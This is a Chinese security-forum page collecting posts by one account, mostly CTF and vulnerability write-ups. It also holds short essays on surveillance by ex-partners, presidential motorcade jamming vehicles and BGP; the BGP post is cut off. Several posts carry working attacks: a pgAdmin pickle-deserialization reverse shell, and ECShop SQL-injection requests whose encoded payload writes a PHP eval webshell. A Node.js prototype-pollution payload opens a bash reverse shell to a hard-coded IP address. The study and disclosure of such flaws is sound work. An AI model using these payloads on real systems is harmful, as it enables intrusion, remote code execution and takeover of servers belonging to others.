跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 前言 直接放视频地址建议b站观看 https://tryhackme.com/r/room/expose sql注入+文件包含+文件上传+提权
  2. NKCTF cve复现详细链接 https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/ 打比赛时也找到了这篇文章,当时用的nc和sh反弹shell失败,遂炸裂,百思不得其解,赛后复盘失败原因 解决办法:用python shell命令弹(感谢出题人seizer,感谢晨曦师傅指点, ->晨曦师傅的博客https://chenxi9981.github.io/ 复现过程 在这篇文章当中linux提到必须有账号密码 比赛的时是用的linux环境, 比赛登录账号是:[email protected] 密码猜测是:tacooooo 从这场比赛中我又坚定了密码不一定是弱密码,有可能与出题人的相关的这种情况 登录 根据提示进行下一步上传文件 上传文件所需要的python文件如下 exp: import pickle import os import pickletools class exp(): def __reduce__(self): return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",)) if __name__ == '__main__': c = exp() payload = pickle.dumps(c) with open('posix.pickle', 'wb') as f: f.write(payload) 此py文件将会生成posix.pickle文件 上传 抓包修改cookie 如果反弹成功是不响应的,此时未响应即反弹成功 拿flag: POC: POST /settings/save_tree_state/ HTTP/1.1 Host: 3a1ff75c-5a37-4834-b6ed-22d3d3738c7d.node.nkctf.yuzhian.com.cn Content-Length: 2 X-pgA-CSRFToken: IjE0MGE3MTVmMmIzMDgwYmYwOTJmNGU5ZjUyOWJlNTQ1OTcwZTdhNDki.ZgGgmA.YDRgzezGzIulLQT1YgWn_A7Bv5c User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0 Content-type: application/json Accept: */* Origin: http://3a1ff75c-5a37-4834-b6ed-22d3d3738c7d.node.nkctf.yuzhian.com.cn Referer: http://3a1ff75c-5a37-4834-b6ed-22d3d3738c7d.node.nkctf.yuzhian.com.cn/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pga4_session=../storage/tacooooo_qq.com/posix.pickle!a; PGADMIN_LANGUAGE=en Connection: close {} 尾言 关于此题,部分师傅用nc反弹成功,但我在打比赛和赛后用nc反弹均失败,也排查了vps问题,在本地用不同vps互相nc反弹可以成功,但这道题无法反弹,如果师傅们用nc无法反弹建议用上面的exp生成用python命令反弹shell.
  3. 0x01 非法监视直接切入主题,那些试图继续干扰女孩子生活的前男盆友们,往往都会采用非法监视,一般有以下几种可能: 一,针孔偷拍窃听。在对方家中或者曾经的合租房里安装针孔摄像头、窃听器材,偷拍女孩子的生活起居,暗地了解新交往的对象等等,这样的事情在日本和台湾地区的新闻报道里屡见不鲜,但国内一般很少报道此类事件。 下图是台湾《苹果日报》的新闻报道截图,讲述的就是一位28岁女性遭到40岁前男友部署在屋里器材的偷拍和窃听。 二,相机偷拍。这一项常常和尾行跟踪在一起,一般远距离会使用到专业相机+专业镜头,近距离则是用微单或者手机实现。主要目的还是在于跟踪女孩子的生活状况、有没有新的约会对象或者喜欢的人等等。当然,对于狗仔队而言,其有着完全不同的特殊意义。 三,非法定位。跟踪女孩子的出行状况,比如出差到哪个城市、订哪个酒店、和谁一起游玩等等。有些通过在女孩子背包或者车辆上安装跟踪器实现,有些则需要借用到专业的基站定位技术和地下信息数据支持。 防范建议: (注意:以下建议仅适用于关系僵硬、出现崩离趋势的时期) 0x02 尾行跟踪虽然感觉比较Low,但实际上尾行始终都是一种非常有效的监控手段。不过大多数尾行跟踪行为都建立在一个基础上,就是“对你平时工作生活的了解”。 虽然不至于为了一个前男友就去辞掉工作,但是无论是为了确保自己安全,还是为了新的开始做铺垫,改变下以往的生活作息习惯,显然是恰当的。 先说明,以下建议并不适用于专业跟踪偷拍人士/团队,若是遇到下图这样情况,那就需要专业对专业,需要委托个人隐私安全保护服务(一般不到这个程度,某些打羽毛球的拍电影的,似乎更需要这个级别的安防保护)。 防范建议: (注意:以下建议仅适用于关系僵硬、出现崩离趋势的时期) 0x03 基于人物关系的情报研判听起来似乎很高大上,但实际描述很简单,就是很多人忽视的微信朋友圈的关联性。 举个例子:你和老朋友老同学聚会,即使你已经屏蔽了前男友,但那些老朋友老同学却会发朋友圈晒图,那上面就有你。而对于前男友而言,用小号配美女图标去加这些人好友,总会有人通过的,20%的通过率也不低了。然后就可以间接获知你的动态,当然,不仅仅是微信圈,还有公开性更强的微博、QQ空间等等。 作为专业的OSINT开放情报分析来说,从各种论坛、微信圈、微博到Facebook、Twitter、Instagram等等获得的数据进行综合研判,就属于典型的人物关系拓扑研判了。 还记得美剧《潜行追踪》么?相信我,只要愿意,那些专业的Guys甚至可以分析出你的初高中好友,预测你的下一步行为。 防范方法:说实话,屏蔽微信朋友圈是一个办法,虽然效果不一定好,但确实能减少打扰。 0x04 手机监控APP控制欲强烈的前男友,一定会想尽办法去窥视对方的私人信息,特别是手机。不过在手机上实现偷听貌似是件不可能的事情,嘿嘿,但实际上有些工具可以间接实现这一点,比如一些商业监控APP。 所谓商业监控APP,这是委婉点的说法,直接的说,这就是一种间谍类手机跟踪应用程序,专为监视儿童、亲人及员工设计。 一旦安装在手机上,就可以跟踪及记录目标人员在该手机设备上的任何操作,包括短信、通话、GPS定位、电子邮件、短信、各类主流聊天工具(如Skype、Facebook、WhatsApp...以及微信)、上网记录,甚至照片、视频等。 具体的效果,可以参考杨叔之前写的一篇软文《没有任何隐私:商业监控APP》,可以点击本文左下角的“阅读原文”来查阅。 至于手机木马,这就需要有专门研究的人才会知道如何部署,利用最新的Android或者iPhone漏洞会是个办法,配合WIFI的植入更是公安临侦的主要方法之一,但很多时候需要的前提是要先干掉对方手机上的杀毒软件。 不过有趣的是,现在有很多人智能手机上都没有杀毒软件,好吧,杨叔也想问问,是什么让你们放弃了保护自己? 防范建议: (注意:以下建议中第1项仅适用于关系僵硬、出现崩离趋势的时期) 0x05 地下信息经常有新闻报道,一些事关个人隐私的大站数据库由于被黑客攻入下载并曝光,类似XX平台的酒店住宿信息数据库被拖,导致数千万人的历史开房记录曝光等。但实际上,在地下市场,早有很多包含了大量个人和商业隐私的数据库被交易和私下查询。 甚至,某些公司/平台的内鬼,还能够提供几乎实时的信息查询,比如半小时前的机票订单等。这里面水比较深,很多内容通过一篇软文也根本讲不清,所以本文点到而止。 防范建议:虽然目前国内对于公民隐私保护方面的法规正在完善中,但仍需要些时间才能真正起到作用。 对于个人而言,在不同平台是使用不同账号去订酒店行程会是个好习惯。当然,若是在那些过于小众的网站上订酒店,也可能面临隐私直接被卖的可能。 0x06 第三方调查公司在日本,有很多探侦公司的主要业务都有婚姻调查(在日本称之为“浮気调查”)。而之所以日本人将婚姻问题称为“浮気”,解释为:“浮気”如同水上泡沫一般,处理好了会归之于水,处理不好也会如同泡沫一般飞去。 日本《关于侦探行业业务规范化法律》将私人侦探业务限定为:收集当事人具体位置及相关活动信息,通过走访、跟踪、盯睄等方式调查,并将调查报告以书面形式提供给委托人。 所以,日本女人在感觉丈夫有所异常时,一般不会听信传言,也不会同丈夫大吵大闹,往往更注重现实证据。日本女人有许多在家料理家务,由于掌握家中财权,容易动用特殊手段解决问题。也就是说日本女人更愿意雇用私人侦探来追查小三等婚姻问题。 在国内,调查公司会有其它的名字,并不会叫做侦探公司之类。当然,由于缺乏行业标准,所以鱼目混珠良莠不齐,具体就要靠口碑及委托人自行判断,本文不做判断讨论和引荐。 防范建议: (注意:以下建议中仅适用于关系僵硬、出现崩离趋势的时期) 0x07 小结还有些可怕的招数杨叔就不介绍了,别反而教会了那些Bad guys,其实在线下的研习课里杨叔已经提到过很多。 不过应特别注意很多数据都是可以伪造的,比如微信聊天记录抓图等等,搞取证的朋友们都知道如何对一个PS过的图片进行伪造识别,但是大多数人都不会。所以,对数据的二次分析和溯源比愤怒冲动的头脑更重要。
  4. 0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HTTP_REFERER,我们可控。 分配函数用于在模版变量里赋值 再看显示函数, 读取user_passport.dwt模版文件内容,显示解析变量后的HTML内容,用_echash做分割,得到$ķ然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$ VAL内容可随意控制。 再看insert_mod函数, 非常关键的一个地方,这里进行了动态调用$ VAL传入进来用|分割,参数传入进来时需要被序列化 再看包括/ lib_insert.php中的insert_ads函数, 可以看到这里直接就能注入了 2.代码执行 继续看取函数 追踪_eval函数 $ position_style变量来源于数据库中的查询结构 然后我们继续构造SQL注入,因为这段sql操作命令由部分换行了截断不了所以需要在id处构造注释来配合num进行union。 函数中有一个判断 我们id传入'/ * num传入* / union选择1,0x272f2a,3,4,5,6,7,8,9,10- - 就能绕过了,其poc: SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- - var_dump一下 再看获取函数,传入的参数被fetch_str函数处理了 追踪fetch_str函数,这里的字符串处理流程比较复杂 return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); 这一行意思是比如$源是XXXX {$ ASD} XXX,那么经过这行代码处理后就是返回这个 - >选择( '$ ASD')的结果,看看选择函数 第一个字符为$时进入$这个 - > get_val函数 我们$ VAL没有。$又进入make_var函数 最后这里引入单引号从变量中逃逸 我们要闭合_var所以最终有效载荷是 {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx 会在网站跟目录生成1.txt里面内容是getshell GETSHELL exp: GET /user.php?act=login HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1 Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 会在网站根目录生成1.php密码是1337 0x02 漏洞复现 1.SQL注入复现 1.打开url连接地址: http://192.168.1.9/user.php?action=login 2.通过brupsuit或者fiddler进行抓包拦截,然后在http头部增加Referer字段并后加上pco,这里加入测试sql注入的poc 3.有效载荷: GET /user.php?act=login HTTP/1.1 Host: 192.168.1.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1 Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;} Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 2.代码执行写入shell复现 1.打开url连接地址: http://192.168.1.9/user.php?action=login 2.通过brupsuit或者fiddler进行抓包拦截,然后在http头部增加Referer字段并后加上pco,这里加入测试写入shell的poc 3.有效载荷: GET /user.php?act=login HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1 Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 注意这里的十六进制是可以转换成字符串的: 0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878 字符串: {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx Base64解密: ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp---->> file_put_contents('1.php','<?php eval($_POST[1337]); ?>') 0x03漏洞影响 ECShop 2.x<ECShop 3.6 0x04 修复建议 临时处理方式可以修改include/lib_insert.php文件中相关漏洞的代码,将$arr[id]和$arr[num]强制将数据转换成整型,$arr[id]和$arr[num]前加入intval限制。需要修改的地方为: ECShop 3.6.0修复了以上漏洞,因此建议尽快更新至最新的3.6.0版本 0x05 参考链接 http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C 0x06 附录 检查漏洞的pytho脚本: #!/usr/bin/python # coding: utf-8 import requests as req def run(url): if 'http' not in url: url = 'http://' + url url = url + '/user.php?act=login' print url, headers = {'referer':'554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:"num";s:161\ :"*/union select 1,0x272f2a,3,4,5,6,7,8,0x7b247b24686f6d65275d3b61737365727428626173\ 6536345f6465636f64652827634768776157356d627967704f773d3d2729293b2f2f7d7d,10-- -";s:\ 2:"id";s:3:"\'/*";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'} try: res = req.get(url,headers=headers,timeout=8) except Exception,e: print e return '-----> no vuln' content = res.content if 'disable_functions' in content : return '-----> have vuln !!!' else: return '-----> no vuln' if __name__ == '__main__': import sys url = sys.argv[1] print run(url)
  5. 前言 web2 JS混淆加密+CTF例题题解 一个小游戏需要玩到114514分才能得到flag 要玩到114514分要好久好久,所以肯定要想其他解法, 这题有多种解法,修改游戏逻辑(难)解密js混淆加密(中) 解密md5(易) 这里要介绍js混淆 也就采用第二种方法(实际上比赛的时候也是用第二种方法解的) 查看源代码,查看游戏逻辑js 仔细查看一下 function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 = _0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 = _0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 = _0x104914[_0x22f014]; return _0x321373; }; return _0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799) { //...................省略大量代码 上述即是js混淆加密的明显特征 对function函数体内容进行了混淆加密 只是解密网站要找好久,网上真正可以解密js混淆的网站很少 https://m.freebuf.com/articles/web/391884.html 最后是在这个网站上学习并且找到的解密网站 js混淆加密在线解密网站https://deobfuscate.relative.im/ 用了好长时间找,现在分享出来了 希望能收藏一下 拿到解密网站,对game.js进行解密 搜索逻辑赢得的游戏逻辑114514 可以看到给了一个ascii码的数组 只需ascii码转为字符即可拿到flag num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag) node.JS原型链污染 Web中的高端局 前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同 proto&prototype 他们的关系如下 实操便于更好理解 先定义o1={a:1,b:2} 定义o2={c:3,d:4} 我们两个都走上一级皆是object的对象 期中object为null 因为我们没有new 出一个对象 再网上走 两者o1,o2都是null 接下来我们令o1下的name=“hello world” 并且输出o1.name 此时o2的name没有定义 如果输出o2.name理论上是null 但实际上却是与o1共享name 此时就能大概猜测出原型链污染的原理了 二者共享object父级 通过污染父级以达到污染子类的目的 此时我们进一步扩大危害 在此基础上定义o1对象下的一个函数func o1.proto.func=function(){return this.a+1} 并且调用一下o1的函数 此时我们对于o2调用函数 实际上o1和o2共享object的原型父级 object本身也是一个对象 期中对象.proto=构造器(构造函数).prototype 此时我们引入constructor constructor用于指向构造函数 JS中原型链重要作用 再次提到前提知识:JS定义对象结构体是以函数的方式去定义 与其他语言不同 此时我们按照正常思维去创造一个对象(在在对象中定义一个函数) 输出结果 那么如果我们想调用this.show就必须重新生成一个对象来调用show 方法 也就说this.show是绑定在Goo对象当中 但是在python 或者C/C++中定义的函数都是在类当中 每次生成一个对象都重新生成一次show()方法 这样极其耗费内存 我们只想生成一次this.show 此时我们就可以运用prototype来使用了 我们把show对象调用在Goo之外 这样我们每次调用show方法的时候 只需要调用之前用prototype生成的方法总共一次 直接省去了加载的过程 原型链继承举例介绍 以继承链为污染讲解 例题: 我们定义了两个对象 一个Father 还有一个Son 我们使用rce new出一个新对象 并且输出rce.lastname 此时我们并没有定义rce.lastname输入应该是报错或者是null 此时我们查看结果 子类继承了父类的Fater并且输出了Src 总结: JavaScript中原型链污染的例题介绍 正如最开始的原型链介绍的修改是在node.js里的原型链污染 下面在JavaScript进行演示原型链污染 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> zoo={a:618} console.log(zoo.a) zoo.__proto__.a=888 console.log(zoo.a) //此时并没有修改a本身的值 let b={}//定义一个空对象 console.log(b.a)//尝试输出空对象下的zoo中的a </script> </body> </html> 何时可以利用js原型链污染 当可以控制js中数组的键名的时候就可以污染原型链 下面将以CTF题介绍 高端局JS原型链污染CTF题 发觉Vemonctf原型链比较简单哒 所以就来个nssctf中的原型链的题 这题还是有点难搞 靶机地址: 走 查看源代码 访问/source 泄露源代码 const express = require('express'); const bodyParser = require('body-parser'); const lodash = require('lodash'); const session = require('express-session'); const randomize = require('randomatic'); const jwt = require('jsonwebtoken') const crypto = require('crypto'); const fs = require('fs'); global.secrets = []; express() .use(bodyParser.urlencoded({extended: true})) .use(bodyParser.json()) .use('/static', express.static('static')) .set('views', './views') .set('view engine', 'ejs') .use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true })) .get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') } }) .get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename)); }) .all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } } }) .all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); } }) .all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null }) }) .post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home'); }) .listen(827, '0.0.0.0') 留下代码,先进行注册 得到了token进行尝试登录 尝试更改UID 好了也就只能到这一步了 下面进行代码审计 已经不是第一次感觉打CTF的啥都要学了 长话短说 哎不想敲了 jwt可以通过加密算法以及token的值可以判断出来 也在之前的比赛遇见过 进行解密 再次进行代码审计 可以看出如果用户不等于nss就弹出U cant change uid 所以我们需要伪造一下nss的token 继续代码审计检查一下加密算法 verify()指定算法的正确方式应该是通过algorithms传入数组 而这里少了个s 跟ctfshow的php反序列化里面的题好像 都是写错了 这种在实战上属于是万里挑一才能审计出来 太难了 在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。 在这里指定了算法HS256 但是他少写了个s 此时为空就被允许了 jwt 审计的误用从一道CTF题看Node.JS中的JWT库误用 – SecPulse.COM | 安全脉搏 里面包含poc 审计代码 sid为空数组也就是JWT中的secretid为空数组[]就可以伪造 const jwt = require('jsonwebtoken'); global.secrets = []; var user = { secretid: [], username: 'nss', password: '123456', "iat":1693372851 } const secret = global.secrets[user.secretid]; var token = jwt.sign(user, secret, {algorithm: 'none'}); console.log(token); 走 继续代码审计 merge以及clone都是js原型链污染的非常常见的切入点 此时的路由指向/update 使用的方法是post 接受data ejs模板引擎污染拿flag即可 { "__proto__":{ "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true } }
  6. 声明:以下内容符合OSINT国际开源情报搜集定义,不涉及任何非法行为,仅供交流与参考。 01 总统专车面临的风险 美国历史上,自从1865年林肯总统被刺杀以来,已经有四位总统遭遇暗杀以身殉职,更有许多总统遭遇暗杀未遂,所以美国方面历来重视总统的安保工作。 就像大家在电影新闻上看到的,总统出国访问时,一个由黑色系车辆组成的总统车队里,一个个黑衣帅哥戴着耳机一脸严肃严阵以待。 其实,在伊拉克和阿富汗将近十五年的战争中,反简易爆炸装置 (IED) 和动态通信干扰技术取得了长足的进步,这种系统已经在海外挽救了数百甚至数千人的生命。 在过去十年的后半期,阿富汗和伊拉克各地,美军已经在 MRAP、APC 和装甲车上部署了更先进的技术。 当然,其中关键技术也部署到了总统车队的特种车辆上。 02 第一次见到总统车队 杨叔第一次见到总统车队,是在1998年。杨叔专门翻了些历史资料,和大家一起分享这份记忆。 1998年6月,美国克林顿总统访华,首站放在西安。据报道,克林顿总统的访华团队规模之大是空前的: 随行人数多达1200人,动用了包括空军一号在内的四架飞机和若干架大型运输机,仅是通讯器材就有60吨,随机记者200人,还有另外175个记者是自己打飞的来的。 记得当年克林顿来西安,入住在城东门附近的凯悦大酒店。不过美国总统出访外国前,会提前一两个月派出先遣高级安保人员,与出访国有关方面进行工作对接。 所以杨叔清楚地记得,当时克林顿访华前,在凯悦酒店对面路过,能清晰地看到酒店门口停着两辆酷酷的黑色防弹雪佛兰。 1998年6月25日19时30分,美国总统克林顿一行乘坐“空军一号”,直接从美国本土飞抵我国古城西安,开始对我国进行友好访问。 1998年6月25日晚,西安市欢迎克林顿总统的仿唐入城仪式如期举行,整个过程欢乐祥和。杨叔在家里看电视台直播总统车队进城 6月26日,克林顿一行人到秦始皇陵兵马俑参观。 6月26日22时,克林顿总统带着他的访华团队由西安直飞北京。总统车队也随着进入北京。 引用当时新闻原话: “克林顿总统此次访华带回了丰硕的外交成果: 中美两国做出了战略核武器互不瞄准的承诺。 为中美两国关系和世界和平做出了重大贡献。” 回忆到这,确实有些感慨现在的中美关系,早已物是人非...... 03 什么是电子对抗车 USSS Electronic Countermeasures Suburban,全称United States Secret Service Electronic Counter Measures Chevrolet Suburban,即美国特勤局专属电子对抗雪佛兰 Suburban,是美国总统车队或副总统车队的一个重要组成部分。 这种车辆通常有两辆,一前一后。哈哈,上图里你找到了么? 一辆在总统/副总统备用座驾的前面,一辆在总统/副总统专车的后面,跟随总统豪华轿车(为了迷惑可能的袭击者,一般同时有两辆总统座驾),用于对抗制导攻击,比如IED简易爆炸装置、火箭炮和反坦克导弹。 该车辆最具识别性的标志,是安装在车顶上的两个共线天线,它们用于主动干扰通信和远程引爆装置,这是用于应对简易爆炸装置威胁的主要方法。天线配置可以根据威胁等级改变,例如,使用更高的天线来增加干扰防护距离,或改变干扰频率范围。 小知识:共线天线 也称为"共线"或"共线天线阵",是一组沿其长度排列的偶极天线,因此它们形成一条长线。偶极天线的每个单元都有1/2波长长。信号强度的增加垂直于阵列的长度,因此阵列通常垂直安装以增加水平面上的信号强度。 第二个区别标志,是两个圆顶形电子战 (EW) 传感器。EW传感器包括毫米波雷达,用于识别手持火箭推进式武器 (RPG) 或需激光测距仪照射指示发射的反坦克导弹(ATGM),甚至小型无人机。 在检测到激光测距仪照射警告,或可疑高速物体雷达警告后,该系统会立即触发从该车辆及总统豪华轿车对外齐射红外烟雾弹或箔条,在可能的杀伤区制造屏蔽烟幕,并同时启动有针对性的反制干扰,抵御红外和雷达制导攻击。 此时,由于总统豪华车队均配备了驾驶员视力增强系统,使驾驶员能够在红外烟雾环境中驾驶。这些视觉障碍物将使车队能够安全地离开杀伤区,同时交给接应的反恐特勤/突击部队 (CAT) 处理威胁。 放几个图,大家看看车辆细节。 04 代号:“瞭望塔” 美国特勤局为电子对抗车辆起了专门的代号:“ Watchtower“ ,即”瞭望塔”,该车型统一采用了雪佛兰Suburban。 小知识:雪佛兰Suburban是由是由Yukon的长轴车型命名来的。无论在外表还是动力引擎都沿用着Yukon XL的技术指标,雪佛兰Suburban曾经荣获2001年美“最佳厢车”称号。 下图中对比下车体可以看到,在“瞭望塔”车体内,除了防弹外壳的包裹,内部几乎全是电子战设备。 整个车辆后部有专为干扰设备供电的发电机,其干扰功率约为 1000 瓦,还有冷却系统。同时,较小的鞭状天线用于与通常靠近后方的 ROADRUNNER 车辆的 VHF 车队无线电联络。 强化版车型顶部的两个圆顶,据相关资料显示,包括了: 用于车队的 TIGERWALL (虎墙,来自海军)系统中的红外摄像设备,用于识别车队附近的空中目标。 脉冲激光发射器/摄像设备,用于检测和显示分层光学器件(即步枪瞄准镜)或类似系统(例如 OVERWATCH 狙击手检测和照明系统)。 激光发射器,用于干扰红外肩射导弹。 如下图所示是强化版本的“瞭望塔”车辆,可以看到天线矩阵。 总统车队里还有一些有趣的车辆,比如白宫通讯署车辆:代号“Roadrunner”。 该控制车搭载了一位最高级别的军事援助,他将在重大军事事件中协助总统,提供行动指导,并在需要时快速启动核武器。 这些车辆同样是经过改装的 SUV,通常也是雪佛兰Suburban 好了,今天就先到这里, 后面有机会我们再继续聊总统车队~ ---End---
  7. 0x00 BGP(RFC 1771、 RFC 4271)定义 全称是Border Gateway Protocol, 对应中文是边界网关协议,最新版本是BGPv4。 BGP是互联网上一个核心的互联网去中心化自治路由协议。它的地位是核心的毫不夸张地说, 是目前唯一连接海陆空和7大洲4大洋的外部路由协议。BGP是最复杂的路由协议,属于应用层协议,其传输层使用TCP,默认端口号是179。因为是应用层协议,可以认为它的连接是可靠的,并且不用考虑底层的工作,例如fragment,确认,重传等等。 BGP是唯一使用TCP作为传输层的路由协议,其他的路由协议可能都还到不了传输层。 1.相关的重要概念 AS(Autonomous sydstem):自治系统,指在一个(有时是多个)组织管辖下的所有IP网络和路由器的全体,它们对互联网执行共同的路由策略。也就是说,对于互联网来说,一个AS是一个独立的整体网络。每个AS有自己唯一的编号。通常一个自治系统将会分配一个全局的唯一的16位号码, ASN范围:1-65535;1-64511属于公有ASN,而私有ASN:64512-65535。 AS PATH:路由每通过一个AS范围都会产生一个记录。 (路由防环机制)。 EBGP:外部BGP协议(EBGP)的主要作用是向外部路由器或AS提供更多信息。 IBGP:内部BGP协议(IBGP)的主要作用是向AS内部路由器提供更多信息。 2.BGP的3张表 邻居表(adjancy table):保存所有的BGP邻居信息。 BGP表(forwarding database):保存从每一个邻居学到的路由信息。 路由表(routing table):BGP默认不做负载均衡,会从BGP表中选出一条到达各个目标网络最优的路由,放入路由表保存。路由器只需按路由表保存的路由条目转发数据即可。 3.关于BGP路由器商业角色 出 于 经 济 利 益 的 考 虑 , AS 优 先 选 择 来 自 CustomerAS 的 路 由 , 其 次 是 PeerAS 及ProviderAS。 换句话说, 大部分网络采用的路由策略规则如下: 1. 来自 CustomerAS 宣告的路由允许传递给Customer、 Peer 和 Provider。 2. 来自 PeerAS 宣告的路由允许传递给Customer, 不允许通告给其他的 Peer 和 Provider。 3. 来自 ProviderAS 宣告的路由允许传递给 Customer , 